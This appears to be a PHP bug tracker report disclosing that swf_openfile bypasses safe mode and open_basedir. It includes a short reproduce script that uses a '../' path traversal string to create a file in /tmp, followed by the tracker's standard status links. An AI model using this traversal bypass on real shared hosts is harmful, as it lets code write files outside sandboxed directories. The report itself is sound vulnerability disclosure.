From: davidl at ngssoftware dot com
Operating system: Redhat Linux
PHP version: 4.3.10
PHP Bug Type: Scripting Engine problem
Bug description: Safemode can be bypassed
Description:
------------
The swf_openfile function can be used to create files outside of
open_basedir when safe mode is enabled.
Reproduce code:
---------------
<?php
swf_openfile("/../../../../../../../../../../../../../../tmp/testswf.txt",
256, 256, 30, 1, 1, 1);
swf_closefile();
?>
Expected result:
----------------
a file called testswf.txt will be created in /tmp
Actual result:
--------------
a file called testswf.txt will be created in /tmp
--
Edit bug report at http://bugs.php.net/?id=31270&edit=1
--
Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=31270&r=trysnapshot4
Try a CVS snapshot (php5.0):
http://bugs.php.net/fix.php?id=31270&r=trysnapshot50
Try a CVS snapshot (php5.1):
http://bugs.php.net/fix.php?id=31270&r=trysnapshot51
Fixed in CVS: http://bugs.php.net/fix.php?id=31270&r=fixedcvs
Fixed in release: http://bugs.php.net/fix.php?id=31270&r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=31270&r=needtrace
Need Reproduce Script: http://bugs.php.net/fix.php?id=31270&r=needscript
Try newer version: http://bugs.php.net/fix.php?id=31270&r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=31270&r=support
Expected behavior: http://bugs.php.net/fix.php?id=31270&r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=31270&r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=31270&r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=31270&r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=31270&r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=31270&r=dst
IIS Stability: http://bugs.php.net/fix.php?id=31270&r=isapi
Install GNU Sed: http://bugs.php.net/fix.php?id=31270&r=gnused
Floating point limitations: http://bugs.php.net/fix.php?id=31270&r=float
No Zend Extensions: http://bugs.php.net/fix.php?id=31270&r=nozend
MySQL Configuration Error: http://bugs.php.net/fix.php?id=31270&r=mysqlcfg